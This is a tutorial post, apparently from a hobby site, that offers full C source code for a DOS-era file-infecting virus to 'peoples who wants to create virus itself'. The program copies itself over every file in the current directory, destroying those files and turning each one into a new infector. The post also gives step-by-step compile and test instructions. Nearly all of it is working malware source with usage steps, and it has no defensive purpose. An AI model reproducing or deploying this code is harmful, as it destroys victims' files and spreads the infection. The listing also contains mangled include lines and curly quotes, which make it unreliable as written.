How to Create a Computer Virus?

How to Create a Computer Virus?
I sumit write this code for peoples who wants to create virus itself . 

This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.



 #include  stdio.h
#include  io.h
#include  dos.h
#include  dir.h
#include  conio.h
#include  time.h




           FILE *virus,*host;
           int done,a=0;
          unsigned long x;
          char buff[2048];
          struct ffblk ffblk;
          clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

  COMPILING METHOD: 

1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

3. Run the virus EXE file there you will see all the files in the current directory get infected.

4. All the infected files will be ready to reinfect

That’s it